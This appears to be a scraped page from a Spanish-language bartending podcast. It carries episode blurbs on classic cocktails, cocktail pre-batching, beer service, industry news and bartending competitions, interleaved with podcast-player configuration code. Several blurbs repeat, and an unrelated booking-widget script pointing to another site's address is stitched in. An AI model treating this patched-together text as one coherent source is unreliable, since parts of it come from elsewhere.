{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI",

Mi Invitado Daniel Estremadoyro: jurado de competencias nacionales e internacionales, capacitador de bartenders, conferencista y un gran entusiasta de la buena coctelería. Hablaremos sobre la influencia que han tenido los clásicos en la coctelería moderna y de autor y cómo inicio todo. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/tfWOjIj4kqw Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62ff1bab3f7b2"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4284","data":{"title":"Cu00d3MO INFLUYEN los Cu00d3CTELES CLu00c1SICOS en la COCTELERu00cdA","duration":"01:19:02","link":"https://www.barspeakeasy.com/podcast/como-influyen-los-cocteles-clasicos-en-la-cocteleria/","poster":"https://www.barspeakeasy.com/wp-content/uploads/influencia_clasicos-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep61-1/EP61.m4a","size":"48326715","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system",

(function (win, fn) { var done = false, top = true, doc = win.document, root = doc.documentElement, modern = doc.addEventListener, add = modern ? 'addEventListener' : 'attachEvent', rem = modern ? 'removeEventListener' : 'detachEvent', pre = modern ? '' : 'on', init = function (e) { if (e.type == 'readystatechange') if (doc.readyState != 'complete') return; (e.type == 'load' ? win : doc)[rem](pre + e.type, init, false); if (!done) { done = true; fn.call(win, e.type || e); } }, poll = function () { try { root.doScroll('left'); } catch (e) { setTimeout(poll, 50); return; } init('poll'); }; if (doc.readyState == 'complete') fn.call(win, 'lazy'); else { if (!modern) if (root.doScroll) { try { top = !win.frameElement; } catch (e) { } if (top) poll(); } doc[add](pre + 'DOMContentLoaded', init, false); doc[add](pre + 'readystatechange', init, false); win[add](pre + 'load', init, false); } })(window, function () { window.BooklySearchForm.showForm("bookly-search-form-6307494385eb5"); }); var ajaxurl = "https://www.freedombikerchurchfayetteville.com/wp-admin/admin-ajax.php"; .text-bookly { color: #f4662f; } .bookly-bootstrap .btn-outline-bookly { color: #f4662f; border-color: #f4662f; } .bookly-bootstrap .btn-check:focus + .btn-outline-bookly, .bookly-bootstrap .btn-outline-bookly:focus { background-color: #f4662f; border-color: #f4662f; color: #000000; box-shadow: 0 0 0 0.25rem rgba(128, 128, 128, 0.5); } .bookly-bootstrap .btn-check:checked + .btn-outline-bookly, .bookly-bootstrap .btn-check:active + .btn-outline-bookly, .bookly-bootstrap .btn-outline-bookly:active, .bookly-bootstrap .btn-outline-bookly.active, .bookly-bootstrap .btn-outline-bookly.dropdown-toggle.show { background-color: #f4662f; border-color: #f4662f; } .bookly-bootstrap .btn-check:checked + .btn-outline-bookly:focus, .bookly-bootstrap .btn-check:active + .btn-outline-bookly:focus, .bookly-bootstrap .btn-outline-bookly:active:focus, .bookly-bootstrap .btn-outline-bookly.active:focus, .bookly-bootstrap .btn-outline-bookly.dropdown-toggle.show:focus { background-color: #f4662f; border-color: #f4662f; box-shadow: 0 0 0 0.25rem rgba(128, 128, 128, 0.5); } .bookly-bootstrap .btn-outline-bookly:disabled, .bookly-bootstrap .btn-outline-bookly.disabled { color: #f4662f; background-color: transparent; } .bookly-bootstrap .bg-bookly { background-color: #f4662f !important; } .grid a.selected { background-color: #f4662f !important; } @media (hover) { .bookly-bootstrap .btn-outline-bookly:hover { background-color: #f4662f; border-color: #f4662f; } }

Pre Mezcla de Cócteles. La pre mezcla de cócteles o Batching Cocktails no es algo nuevo pero si una técnica cada vez más usada entre los mejores bares y restaurantes del mundo. Debo confesar que por un tiempo siempre pensé que para que un cóctel tenga los mejores resultados en sabor y frescura debe ser preparado al momento. Pero ya hoy en día hasta los bares mejores premiados del mundo están usando esta técnica lo que le permite dedicar el tiempo ganado en la elaboración del cóctel en otros detalles como: la presentación y decoración del cóctel, describir la bebida al cliente sin que se canse de esperar por lo extra elaborado del mismo. Ventajas y Desventajas Ventajas: Estandarización y consistencia (igualdad de recetas), mejores resultados en temperatura y dilución incluso posible maceración de sabores. Rapidez. Dedicas más tiempo a la presentación. Permite que el cliente consuma el mismo cóctel en el bar que en casa. Desventajas: Vida útil de los insumos, desinformación o falta de práctica (Entender lo que necesito para hacer prebatch), el cliente que va a sentarse en la barra pierde la esencia de su preparación y lo que conlleva el cóctel. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/LEf2zHU3KKE Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227b878"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4223","data":{"title":"World Class Competition ud83cudf78 RD 2022 - TODO lo que NECESITAS SABER ud83eudd43","duration":"00:13:42","link":"https://www.barspeakeasy.com/podcast/world-class-competition-%f0%9f%8d%b8-rd-2022-todo-lo-que-necesitas-saber-%f0%9f%a5%83/","poster":"https://www.barspeakeasy.com/wp-content/uploads/podcast-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep56-1-56/EP56.m4a","size":"10259159","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify",

Pre Mezcla de Cócteles. La pre mezcla de cócteles o Batching Cocktails no es algo nuevo pero si una técnica cada vez más usada entre los mejores bares y restaurantes del mundo. Debo confesar que por un tiempo siempre pensé que para que un cóctel tenga los mejores resultados en sabor y frescura debe ser preparado al momento. Pero ya hoy en día hasta los bares mejores premiados del mundo están usando esta técnica lo que le permite dedicar el tiempo ganado en la elaboración del cóctel en otros detalles como: la presentación y decoración del cóctel, describir la bebida al cliente sin que se canse de esperar por lo extra elaborado del mismo. Ventajas y Desventajas Ventajas: Estandarización y consistencia (igualdad de recetas), mejores resultados en temperatura y dilución incluso posible maceración de sabores. Rapidez. Dedicas más tiempo a la presentación. Permite que el cliente consuma el mismo cóctel en el bar que en casa. Desventajas: Vida útil de los insumos, desinformación o falta de práctica (Entender lo que necesito para hacer prebatch), el cliente que va a sentarse en la barra pierde la esencia de su preparación y lo que conlleva el cóctel. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/LEf2zHU3KKE Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b8b95f"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4223","data":{"title":"World Class Competition ud83cudf78 RD 2022 - TODO lo que NECESITAS SABER ud83eudd43","duration":"00:13:42","link":"https://www.barspeakeasy.com/podcast/world-class-competition-%f0%9f%8d%b8-rd-2022-todo-lo-que-necesitas-saber-%f0%9f%a5%83/","poster":"https://www.barspeakeasy.com/wp-content/uploads/podcast-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep56-1-56/EP56.m4a","size":"10259159","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/",

Estilos de cerveza y el perfect serviceEn esta colaboración con el equipo de Beergeek, te damos una Masterclass sobre los tipos de cerveza, su perfect service incluyendo temperatura, cantidad de espuma y hasta cuál recomendar a tus clientes.Si trabajas en el área de la hostelería, restaurante o bar ÉSTE EPISODIO ES PARA TI.La cerveza se ha convertido en una bebida que trasciende fronteras y culturas. El auge de las cervezas artesanales y de barril sigue marcando la diferencia en el consumo de los comensales.Por eso es de vital importancia conocer los tipos de cervezas, cómo servirlas, cómo guardarlas y hasta en qué momento recomendarlas.No olvides pasarte por el canal de Beergeek si quieres seguir aprendiendo sobre este mundoLinks de Interés:Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBarÚnete a la Comunidad de Telegram: https://barspeakeasy.com/comunidadInvítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbarLinks Mencionados en el Episodio:Canal de Twitch: https://www.twitch.tv/mezclandoexperienciashttps://youtu.be/Tv0_vE506B4Episodios RelacionadosOtros links de interés:Cómprame un Cóctel:https://barspeakeasy.com/apoyoHosting desde 4$: https://barspeakeasy.com/hosting30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemicPrueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227c6d7"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4255","data":{"title":"CERVEZA Servicio PERFECTOud83cudf7a TIPOS de CERVEZA ud83cudf7b","duration":null,"link":"https://www.barspeakeasy.com/podcast/cerveza-servicio-perfecto/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-podcast-0.5mb-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep59-1/EP59.m4a","size":"34129382","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.

Estilos de cerveza y el perfect serviceEn esta colaboración con el equipo de Beergeek, te damos una Masterclass sobre los tipos de cerveza, su perfect service incluyendo temperatura, cantidad de espuma y hasta cuál recomendar a tus clientes.Si trabajas en el área de la hostelería, restaurante o bar ÉSTE EPISODIO ES PARA TI.La cerveza se ha convertido en una bebida que trasciende fronteras y culturas. El auge de las cervezas artesanales y de barril sigue marcando la diferencia en el consumo de los comensales.Por eso es de vital importancia conocer los tipos de cervezas, cómo servirlas, cómo guardarlas y hasta en qué momento recomendarlas.No olvides pasarte por el canal de Beergeek si quieres seguir aprendiendo sobre este mundoLinks de Interés:Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBarÚnete a la Comunidad de Telegram: https://barspeakeasy.com/comunidadInvítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbarLinks Mencionados en el Episodio:Canal de Twitch: https://www.twitch.tv/mezclandoexperienciashttps://youtu.be/Tv0_vE506B4Episodios RelacionadosOtros links de interés:Cómprame un Cóctel:https://barspeakeasy.com/apoyoHosting desde 4$: https://barspeakeasy.com/hosting30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemicPrueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b8d1ef"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4255","data":{"title":"CERVEZA Servicio PERFECTOud83cudf7a TIPOS de CERVEZA ud83cudf7b","duration":"00:54:26","link":"https://www.barspeakeasy.com/podcast/cerveza-servicio-perfecto/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-podcast-0.5mb-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep59-1/EP59.m4a","size":"34129382","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.

Noticias y Tendencias de mayo Estas son algunas de las noticias más importantes que nos deja el mes de mayo. Jhonnie Walker estrena su serie Master of Flavor que incluye NFTs - https://www.thespiritsbusiness.com/2022/05/johnnie-walker-debuts-nft-package-for-us35000/ Artesian de Londres lanza un menú de cócteles dual - https://www.thespiritsbusiness.com/2022/05/artesian-debuts-duality-inspired-cocktail-menu/ Buen Vato, el "primer tequila" en botella de cartón - https://www.thespiritsbusiness.com/2022/05/worlds-first-tequila-in-cardboard-bottle-launches/ Crean la primera botella de whisky offline que desconecta las señales de hasta 4 teléfonos inteligentes - https://www.thespiritsbusiness.com/2022/05/glengoyne-goes-offline-with-new-whisky/ Puerto Rico Cocktail Week - https://prcocktailweek.com/summer-edition/ Festival del Cocuy Pecayero para celebrar sus 21 años de Denominación de Origen Disculpen el inicio abrupto, por problemas en las transmisión en vivo tuve que eliminar la introducción de este vídeo Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/OpoltPY5o0Y Episodios Relacionados NFTs en Licores, Bartender con Inteligencia Artificial, Tendencias para el 2022 - https://www.barspeakeasy.com/podcast/noticias-marzo-2022/ Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b8f3b2"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4242","data":{"title":"NEWS: Master of Flavor de Jhonnie Walker, menu00fa Duality en Artesian, Botella de Whisky Off Line","duration":"00:11:43","link":"https://www.barspeakeasy.com/podcast/news-mayo/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-podcast-0.5mb-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep57-1/EP57.m4a","size":"7168662","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},

Noticias y Tendencias de mayo Estas son algunas de las noticias más importantes que nos deja el mes de mayo. Jhonnie Walker estrena su serie Master of Flavor que incluye NFTs - https://www.thespiritsbusiness.com/2022/05/johnnie-walker-debuts-nft-package-for-us35000/ Artesian de Londres lanza un menú de cócteles dual - https://www.thespiritsbusiness.com/2022/05/artesian-debuts-duality-inspired-cocktail-menu/ Buen Vato, el "primer tequila" en botella de cartón - https://www.thespiritsbusiness.com/2022/05/worlds-first-tequila-in-cardboard-bottle-launches/ Crean la primera botella de whisky offline que desconecta las señales de hasta 4 teléfonos inteligentes - https://www.thespiritsbusiness.com/2022/05/glengoyne-goes-offline-with-new-whisky/ Puerto Rico Cocktail Week - https://prcocktailweek.com/summer-edition/ Festival del Cocuy Pecayero para celebrar sus 21 años de Denominación de Origen Disculpen el inicio abrupto, por problemas en las transmisión en vivo tuve que eliminar la introducción de este vídeo Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/OpoltPY5o0Y Episodios Relacionados NFTs en Licores, Bartender con Inteligencia Artificial, Tendencias para el 2022 - http://www.barspeakeasy.com/podcast/noticias-marzo-2022/ Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227ddb0"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4242","data":{"title":"NEWS: Master of Flavor de Jhonnie Walker, menu00fa Duality en Artesian, Botella de Whisky Off Line","duration":null,"link":"https://www.barspeakeasy.com/podcast/news-mayo/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-podcast-0.5mb-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep57-1/EP57.m4a","size":"7168662","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast",

World Class en RD Cada año World Class a nivel mundial marca la diferencia con otras competencias. Se elige, de manera local, el mejor bartender por países para luego enfrentarse en una final global para elegir el mejor bartender del mundo. En cada país y cada año esta competición genera muchas expectativas en el gremio lo que también lleva a sus organizadores a ir evolucionando y mejorando su puesta a punto. En esta oportunidad hablamos con Carlos Mejía, campeón de esta competición en el año 2018, lo que le abrió las puertas a muchos proyectos entre ellos: El Bar de las 5R, Model Mix y hoy esta detrás de la organización de World Class en República Dominicana. Carlos nos cuenta lo que ha significado para el país la llegada de esta competición y lo que viene este año. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/V6pKKWBHTEQ Episodios Relacionados https://www.youtube.com/watch?v=QMBuTRHEqYo Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227e973"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4223","data":{"title":"World Class Competition ud83cudf78 RD 2022 - TODO lo que NECESITAS SABER ud83eudd43","duration":"00:13:42","link":"https://www.barspeakeasy.com/podcast/world-class-competition-%f0%9f%8d%b8-rd-2022-todo-lo-que-necesitas-saber-%f0%9f%a5%83/","poster":"https://www.barspeakeasy.com/wp-content/uploads/podcast-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep56-1-56/EP56.m4a","size":"10259159","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},

World Class en RD Cada año World Class a nivel mundial marca la diferencia con otras competencias. Se elige, de manera local, el mejor bartender por países para luego enfrentarse en una final global para elegir el mejor bartender del mundo. En cada país y cada año esta competición genera muchas expectativas en el gremio lo que también lleva a sus organizadores a ir evolucionando y mejorando su puesta a punto. En esta oportunidad hablamos con Carlos Mejía, campeón de esta competición en el año 2018, lo que le abrió las puertas a muchos proyectos entre ellos: El Bar de las 5R, Model Mix y hoy esta detrás de la organización de World Class en República Dominicana. Carlos nos cuenta lo que ha significado para el país la llegada de esta competición y lo que viene este año. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/V6pKKWBHTEQ Episodios Relacionados https://www.youtube.com/watch?v=QMBuTRHEqYo Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b90476"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4223","data":{"title":"World Class Competition ud83cudf78 RD 2022 - TODO lo que NECESITAS SABER ud83eudd43","duration":"00:13:42","link":"https://www.barspeakeasy.com/podcast/world-class-competition-%f0%9f%8d%b8-rd-2022-todo-lo-que-necesitas-saber-%f0%9f%a5%83/","poster":"https://www.barspeakeasy.com/wp-content/uploads/podcast-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep56-1-56/EP56.m4a","size":"10259159","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},

Esta vez conversamos con el equipo de Bartenders en Movimiento desde Perú. Ellos son un grupo de embajadores de marcas de un mismo importador premium que decidieron descentralizar el conocimiento de bares y bebidas para todas los interesados que no podían dirigirse hasta la capital del Perú. Se han expandido también por medio de su podcast donde comparten sus experiencias y conocimientos en el área de bares y coctelería. Personalmente disfrute mucho la conversación con este grupo de profesionales. Espero que tú también lo hagas.   Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/LEf2zHU3KKE Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b9154b"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/3717","data":{"title":"ud83cudf76 PRE BATCH de Cu00d3CTELES ud83eudd43","duration":"00:13:39","link":"https://www.barspeakeasy.com/podcast/pre-batch-de-cocteles/","poster":"https://www.barspeakeasy.com/wp-content/uploads/PORTADA-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep50-1/EP50.m4a","size":"9035819","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en 